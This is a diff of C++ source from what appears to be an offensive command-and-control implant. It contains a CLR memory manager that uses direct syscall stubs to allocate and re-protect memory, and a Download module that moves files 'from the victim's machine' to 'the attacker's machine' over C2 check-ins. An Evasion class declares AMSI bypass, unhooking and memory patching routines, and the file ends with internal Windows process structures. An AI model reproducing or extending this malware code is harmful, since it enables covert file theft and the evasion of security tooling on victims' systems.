}
HRESULT MyMemoryManager::ReleasedVirtualAddressSpace(LPVOID startAddress)
{
// std::cout << "MyMemoryManager::ReleasedVirtualAddressSpace" << std::endl;
return S_OK;
#include "MemoryManager.hpp"
#include "HostMalloc.hpp"
#include <iostream>
MyMemoryManager::MyMemoryManager(void)
{
count = 0;
m_mallocManager = new MyHostMalloc();
}
MyMemoryManager::~MyMemoryManager(void)
{
delete m_mallocManager;
}
HRESULT STDMETHODCALLTYPE MyMemoryManager::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMemoryManager))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyMemoryManager::AddRef()
{
return(++((MyMemoryManager*)this)->count);
}
ULONG STDMETHODCALLTYPE MyMemoryManager::Release()
{
if (--((MyMemoryManager*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyMemoryManager*)this)->count;
}
// This is called when the CLR wants to do heap allocations, it's responsible for returning our implementation of IHostMalloc
HRESULT MyMemoryManager::CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc)
{
// std::cout << "MyMemoryManager::CreateMalloc" << std::endl;
//C reate a heap and add it to our interface struct
HANDLE hHeap = NULL;
if (dwMallocType & MALLOC_EXECUTABLE)
{
hHeap = ::HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
}
else
{
hHeap = ::HeapCreate(0, 0, 0);
}
m_mallocManager->hHeap = hHeap;
*ppMalloc = m_mallocManager;
return S_OK;
}
//The Virtual* API calls are responsible for non-heap memory management, you can just call the Virtual* APIs as intended or implement your own routines
HRESULT MyMemoryManager::VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
{
LPVOID allocAddress=NULL;
HANDLE hProcess = GetCurrentProcess();
Sw3NtAllocateVirtualMemory_(hProcess, &pAddress, 0, &dwSize, flAllocationType, flProtect);
allocAddress = pAddress;
// LPVOID allocAddress = ::VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect);
// std::cout << "MyMemoryManager::VirtualAlloc " << std::hex << allocAddress << std::endl;
*ppMem = allocAddress;
MemAllocEntry* allocEntry = new MemAllocEntry();
allocEntry->Address = allocAddress;
allocEntry->size = dwSize;
allocEntry->type = MEM_ALLOC_VIRTUALALLOC;
m_memAllocList.push_back(allocEntry);
return S_OK;
}
HRESULT MyMemoryManager::VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
// std::cout << "MyMemoryManager::VirtualFree" << std::endl;
::VirtualFree(lpAddress, dwSize, dwFreeType);
lpAddress = nullptr;
return S_OK;
}
HRESULT MyMemoryManager::VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult)
{
// std::cout << "MyMemoryManager::VirtualQuery" << std::endl;
*pResult = ::VirtualQuery(lpAddress, (PMEMORY_BASIC_INFORMATION)lpBuffer, dwLength);
return S_OK;
}
HRESULT MyMemoryManager::VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect)
{
// std::cout << "MyMemoryManager::VirtualProtect" << std::endl;
HANDLE hProcess = GetCurrentProcess();
Sw3NtProtectVirtualMemory_(hProcess, &lpAddress, &dwSize, flNewProtect, pflOldProtect);
// ::VirtualProtect(lpAddress, dwSize, flNewProtect, pflOldProtect);
return S_OK;
}
HRESULT MyMemoryManager::GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes)
{
// std::cout << "MyMemoryManager::GetMemoryLoad" << std::endl;
//Just returning arbitrary values
*pMemoryLoad = 30;
*pAvailableBytes = 100 * 1024 * 1024;
return S_OK;
}
HRESULT MyMemoryManager::RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback)
{
// std::cout << "MyMemoryManager::RegisterMemoryNotificationCallback" << std::endl;
return S_OK;
}
HRESULT MyMemoryManager::NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
{
// std::cout << "MyMemoryManager::NeedsVirtualAddressSpace" << std::endl;
return S_OK;
}
//
// This is a notification callback that will be triggered whenever a .NET assembly is loaded into the process
//
HRESULT MyMemoryManager::AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
{
// std::cout << "MyMemoryManager::AcquiredVirtualAddressSpace" << std::endl;
// std::cout << "Mapped file with size " << size << " bytes into memory at " << std::hex << startAddress << std::endl;
//This is used to track the assemblies that are mapped into the process
MemAllocEntry* allocEntry = new MemAllocEntry();
allocEntry->Address = startAddress;
allocEntry->size = size;
allocEntry->type = MEM_ALLOC_MAPPED_FILE;
m_memAllocList.push_back(allocEntry);
return S_OK;
}
HRESULT MyMemoryManager::ReleasedVirtualAddressSpace(LPVOID startAddress)
{
// std::cout << "MyMemoryManager::ReleasedVirtualAddressSpace" << std::endl;
return S_OK;
}
+48 -48
View File
@@ -1,49 +1,49 @@
#pragma once
#include "HostMalloc.hpp"
#include <string>
#include <syscall.hpp>
class MyMemoryManager : public IHostMemoryManager
{
public:
MyMemoryManager(void);
~MyMemoryManager(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc);
virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult);
virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect);
virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes);
virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback);
virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress);
const std::vector<MemAllocEntry*>& getVirtualAllocList()
{
return m_memAllocList;
}
const std::vector<MemAllocEntry*>& getMallocList()
{
return m_mallocManager->getMemAllocList();
}
protected:
DWORD count;
private:
MyHostMalloc* m_mallocManager;
std::vector<MemAllocEntry*> m_memAllocList;
#pragma once
#include "HostMalloc.hpp"
#include <string>
#include <syscall.hpp>
class MyMemoryManager : public IHostMemoryManager
{
public:
MyMemoryManager(void);
~MyMemoryManager(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc);
virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult);
virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect);
virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes);
virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback);
virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress);
const std::vector<MemAllocEntry*>& getVirtualAllocList()
{
return m_memAllocList;
}
const std::vector<MemAllocEntry*>& getMallocList()
{
return m_mallocManager->getMemAllocList();
}
protected:
DWORD count;
private:
MyHostMalloc* m_mallocManager;
std::vector<MemAllocEntry*> m_memAllocList;
};
+135 -135
View File
@@ -31,9 +31,9 @@ __attribute__((visibility("default"))) Download* DownloadConstructor()
Download::Download()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
}
@@ -44,40 +44,40 @@ Download::~Download()
std::string Download::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "Download Module:\n";
info += "Retrieve a file from the victim's machine and save it to the attacker's machine.\n";
info += "Large files are automatically split into 2MB chunks and transferred over multiple check-ins.\n";
info += "\nUsage example:\n";
info += " - download C:\\Temp\\toto.exe /tmp/toto.exe\n";
info += "\nArguments:\n";
info += " <sourcePath> Path to the file on the victim's machine\n";
info += " <destPath> Destination path on the attacker's machine\n";
info += "Download Module:\n";
info += "Retrieve a file from the victim's machine and save it to the attacker's machine.\n";
info += "Large files are automatically split into 2MB chunks and transferred over multiple check-ins.\n";
info += "\nUsage example:\n";
info += " - download C:\\Temp\\toto.exe /tmp/toto.exe\n";
info += "\nArguments:\n";
info += " <sourcePath> Path to the file on the victim's machine\n";
info += " <destPath> Destination path on the attacker's machine\n";
#endif
return info;
return info;
}
int Download::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
std::vector<std::string> quoteRegroupedCmd = regroupStrings(splitedCmd);
std::vector<std::string> quoteRegroupedCmd = regroupStrings(splitedCmd);
if (quoteRegroupedCmd.size() == 3)
{
string inputFile = quoteRegroupedCmd[1];
string outputFile = quoteRegroupedCmd[2];
if (quoteRegroupedCmd.size() == 3)
{
string inputFile = quoteRegroupedCmd[1];
string outputFile = quoteRegroupedCmd[2];
c2Message.set_instruction(quoteRegroupedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_outputfile(outputFile);
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
c2Message.set_instruction(quoteRegroupedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_outputfile(outputFile);
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
return 0;
return 0;
}
@@ -91,151 +91,151 @@ const size_t CHUNK_SIZE = 1 * 1024 * 1024; // 2MB
int Download::recurringExec(C2Message& c2RetMessage)
{
std::vector<char> buffer;
if( m_input.is_open() )
{
c2RetMessage.set_instruction(std::to_string(moduleHash));
c2RetMessage.set_cmd("");
c2RetMessage.set_outputfile(m_outputfile);
std::vector<char> buffer;
if( m_input.is_open() )
{
c2RetMessage.set_instruction(std::to_string(moduleHash));
c2RetMessage.set_cmd("");
c2RetMessage.set_outputfile(m_outputfile);
std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead));
std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead));
buffer.resize(chunkSize);
if (m_input.read(buffer.data(), chunkSize))
{
if (m_input.read(buffer.data(), chunkSize))
{
c2RetMessage.set_data(buffer.data(), chunkSize);
m_bytesRead += chunkSize;
if(m_bytesRead==m_fileSize)
{
c2RetMessage.set_returnvalue("Success");
m_fileSize=0;
m_bytesRead=0;
m_input.close();
}
else
{
std::string output = std::to_string(m_bytesRead) + "/" + std::to_string(m_fileSize);
c2RetMessage.set_returnvalue(output);
}
m_bytesRead += chunkSize;
if(m_bytesRead==m_fileSize)
{
c2RetMessage.set_returnvalue("Success");
m_fileSize=0;
m_bytesRead=0;
m_input.close();
}
else
{
std::string output = std::to_string(m_bytesRead) + "/" + std::to_string(m_fileSize);
c2RetMessage.set_returnvalue(output);
}
}
else
{
else
{
return 0;
}
return 1;
}
else
{
return 0;
}
return 1;
}
else
{
return 0;
}
}
int Download::process(C2Message &c2Message, C2Message &c2RetMessage)
{
if(m_input.is_open())
{
c2RetMessage.set_errorCode(ERROR_FILE_ALREADY_OPEN);
return 0;
}
if(m_input.is_open())
{
c2RetMessage.set_errorCode(ERROR_FILE_ALREADY_OPEN);
return 0;
}
c2RetMessage.set_instruction(std::to_string(moduleHash));
c2RetMessage.set_cmd("");
c2RetMessage.set_inputfile(c2Message.inputfile());
c2RetMessage.set_outputfile(c2Message.outputfile());
m_outputfile = c2Message.outputfile();
c2RetMessage.set_instruction(std::to_string(moduleHash));
c2RetMessage.set_cmd("");
c2RetMessage.set_inputfile(c2Message.inputfile());
c2RetMessage.set_outputfile(c2Message.outputfile());
m_outputfile = c2Message.outputfile();
std::string inputFile = c2Message.inputfile();
std::string inputFile = c2Message.inputfile();
m_input = std::ifstream(inputFile, std::ios::binary | std::ios::ate);
m_bytesRead = 0;
std::vector<char> buffer;
if( m_input.is_open() )
{
m_fileSize = m_input.tellg();
m_input = std::ifstream(inputFile, std::ios::binary | std::ios::ate);
m_bytesRead = 0;
std::vector<char> buffer;
if( m_input.is_open() )
{
m_fileSize = m_input.tellg();
m_input.seekg(0, std::ios::beg);
std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead));
std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead));
buffer.resize(chunkSize);
if (m_input.read(buffer.data(), chunkSize))
{
if (m_input.read(buffer.data(), chunkSize))
{
c2RetMessage.set_data(buffer.data(), chunkSize);
m_bytesRead += chunkSize;
m_bytesRead += chunkSize;
if(m_bytesRead==m_fileSize)
{
c2RetMessage.set_args("0");
c2RetMessage.set_returnvalue("Success");
m_fileSize=0;
m_bytesRead=0;
m_input.close();
}
else
{
std::string output = std::to_string(m_bytesRead) + "/" + std::to_string(m_fileSize);
c2RetMessage.set_args("0");
c2RetMessage.set_returnvalue(output);
}
if(m_bytesRead==m_fileSize)
{
c2RetMessage.set_args("0");
c2RetMessage.set_returnvalue("Success");
m_fileSize=0;
m_bytesRead=0;
m_input.close();
}
else
{
std::string output = std::to_string(m_bytesRead) + "/" + std::to_string(m_fileSize);
c2RetMessage.set_args("0");
c2RetMessage.set_returnvalue(output);
}
}
else
{
else
{
c2RetMessage.set_errorCode(ERROR_READ_FILE);
}
}
else
{
c2RetMessage.set_errorCode(ERROR_OPEN_FILE);
}
}
else
{
c2RetMessage.set_errorCode(ERROR_OPEN_FILE);
}
return 0;
return 0;
}
int Download::followUp(const C2Message &c2RetMessage)
{
// check if there is an error
if(c2RetMessage.errorCode()==-1)
{
std::string args = c2RetMessage.args();
std::string outputFile = c2RetMessage.outputfile();
// check if there is an error
if(c2RetMessage.errorCode()==-1)
{
std::string args = c2RetMessage.args();
std::string outputFile = c2RetMessage.outputfile();
if(args=="0")
{
std::ofstream output(outputFile, std::ios::binary | std::ios::trunc);
const std::string buffer = c2RetMessage.data();
output << buffer;
output.close();
}
else
{
std::ofstream output(outputFile, std::ios::binary | std::ios::app);
const std::string buffer = c2RetMessage.data();
output << buffer;
output.close();
}
}
if(args=="0")
{
std::ofstream output(outputFile, std::ios::binary | std::ios::trunc);
const std::string buffer = c2RetMessage.data();
output << buffer;
output.close();
}
else
{
std::ofstream output(outputFile, std::ios::binary | std::ios::app);
const std::string buffer = c2RetMessage.data();
output << buffer;
output.close();
}
}
return 0;
return 0;
}
int Download::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
{
#ifdef BUILD_TEAMSERVER
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==ERROR_OPEN_FILE)
errorMsg = "Failed: Couldn't open file";
else if(errorCode==ERROR_READ_FILE)
errorMsg = "Failed: Read file chunk.";
else if(errorCode==ERROR_FILE_ALREADY_OPEN)
errorMsg = "Failed: File already open.";
}
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==ERROR_OPEN_FILE)
errorMsg = "Failed: Couldn't open file";
else if(errorCode==ERROR_READ_FILE)
errorMsg = "Failed: Read file chunk.";
else if(errorCode==ERROR_FILE_ALREADY_OPEN)
errorMsg = "Failed: File already open.";
}
#endif
return 0;
return 0;
}
+12 -12
View File
@@ -7,24 +7,24 @@ class Download : public ModuleCmd
{
public:
Download();
~Download();
Download();
~Download();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int recurringExec(C2Message& c2RetMessage);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int followUp(const C2Message &c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int recurringExec(C2Message& c2RetMessage);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int followUp(const C2Message &c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int osCompatibility()
{
return OS_LINUX | OS_WINDOWS;
}
private:
std::string m_outputfile;
std::ofstream m_output;
std::string m_outputfile;
std::ofstream m_output;
std::ifstream m_input;
std::streamsize m_fileSize;
std::streamsize m_bytesRead;
File diff suppressed because it is too large Load Diff
+15 -15
View File
@@ -7,29 +7,29 @@ class Evasion : public ModuleCmd
{
public:
Evasion();
~Evasion();
Evasion();
~Evasion();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_WINDOWS;
}
private:
#ifdef _WIN32
int checkHooks(std::string& result);
int unhookFreshCopy(std::string& result);
int unhookPerunsFart(std::string& result);
int amsiBypass(std::string& result);
int introspection(std::string& result, std::string& moduleName);
int patchMemory(std::string& result, const std::string& hexAddress, const std::string& patch);
int readMemory(std::string& result, const std::string& hexAddress, const int size);
int remotePatch(std::string& result);
int checkHooks(std::string& result);
int unhookFreshCopy(std::string& result);
int unhookPerunsFart(std::string& result);
int amsiBypass(std::string& result);
int introspection(std::string& result, std::string& moduleName);
int patchMemory(std::string& result, const std::string& hexAddress, const std::string& patch);
int readMemory(std::string& result, const std::string& hexAddress, const int size);
int remotePatch(std::string& result);
#endif
};
+260 -260
View File
@@ -5,333 +5,333 @@
STRUCTURES
--------------------------------------------------------------------*/
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBase;
PPEB_LDR_DATA LoaderData;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID* KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PVOID FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID** ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBase;
PPEB_LDR_DATA LoaderData;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID* KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PVOID FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID** ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, * PPEB;
typedef struct __CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
ULONG Flags;
PCHAR FrameName;
ULONG Flags;
PCHAR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME {
ULONG Flags;
struct _TEB_ACTIVE_FRAME* Previous;
PTEB_ACTIVE_FRAME_CONTEXT Context;
ULONG Flags;
struct _TEB_ACTIVE_FRAME* Previous;
PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;
typedef struct _GDI_TEB_BATCH {
ULONG Offset;
ULONG HDC;
ULONG Buffer[310];
ULONG Offset;
ULONG HDC;
ULONG Buffer[310];
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;
typedef PVOID PACTIVATION_CONTEXT;
typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
PACTIVATION_CONTEXT ActivationContext;
ULONG Flags;
struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
PACTIVATION_CONTEXT ActivationContext;
ULONG Flags;
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
typedef struct _ACTIVATION_CONTEXT_STACK {
PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
LIST_ENTRY FrameListCache;
ULONG Flags;
ULONG NextCookieSequenceNumber;
ULONG StackId;
PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
LIST_ENTRY FrameListCache;
ULONG Flags;
ULONG NextCookieSequenceNumber;
ULONG StackId;
} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;
typedef struct _TEB {
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG User32Reserved[26];
ULONG UserReserved[5];
PVOID WOW32Reserved;
LCID CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID SystemReserved1[54];
LONG ExceptionCode;
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG User32Reserved[26];
ULONG UserReserved[5];
PVOID WOW32Reserved;
LCID CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID SystemReserved1[54];
LONG ExceptionCode;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
ULONG TxFsContext;
PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
ULONG TxFsContext;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
#else
ACTIVATION_CONTEXT_STACK ActivationContextStack;
UCHAR SpareBytes1[24];
ACTIVATION_CONTEXT_STACK ActivationContextStack;
UCHAR SpareBytes1[24];
#endif
GDI_TEB_BATCH GdiTebBatch;
CLIENT_ID RealClientId;
PVOID GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocalInfo;
PSIZE_T Win32ClientInfo[62];
PVOID glDispatchTable[233];
PSIZE_T glReserved1[29];
PVOID glReserved2;
PVOID glSectionInfo;
PVOID glSection;
PVOID glTable;
PVOID glCurrentRC;
PVOID glContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[261];
PVOID DeallocationStack;
PVOID TlsSlots[64];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[2];
GDI_TEB_BATCH GdiTebBatch;
CLIENT_ID RealClientId;
PVOID GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocalInfo;
PSIZE_T Win32ClientInfo[62];
PVOID glDispatchTable[233];
PSIZE_T glReserved1[29];
PVOID glReserved2;
PVOID glSectionInfo;
PVOID glSection;
PVOID glTable;
PVOID glCurrentRC;
PVOID glContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[261];
PVOID DeallocationStack;
PVOID TlsSlots[64];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[2];
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG HardErrorMode;
ULONG HardErrorMode;
#else
ULONG HardErrorsAreDisabled;
ULONG HardErrorsAreDisabled;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
GUID ActivityId;
PVOID SubProcessTag;
PVOID EtwLocalData;
PVOID EtwTraceData;
PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
GUID ActivityId;
PVOID SubProcessTag;
PVOID EtwLocalData;
PVOID EtwTraceData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PVOID Instrumentation[14];
PVOID SubProcessTag;
PVOID EtwLocalData;
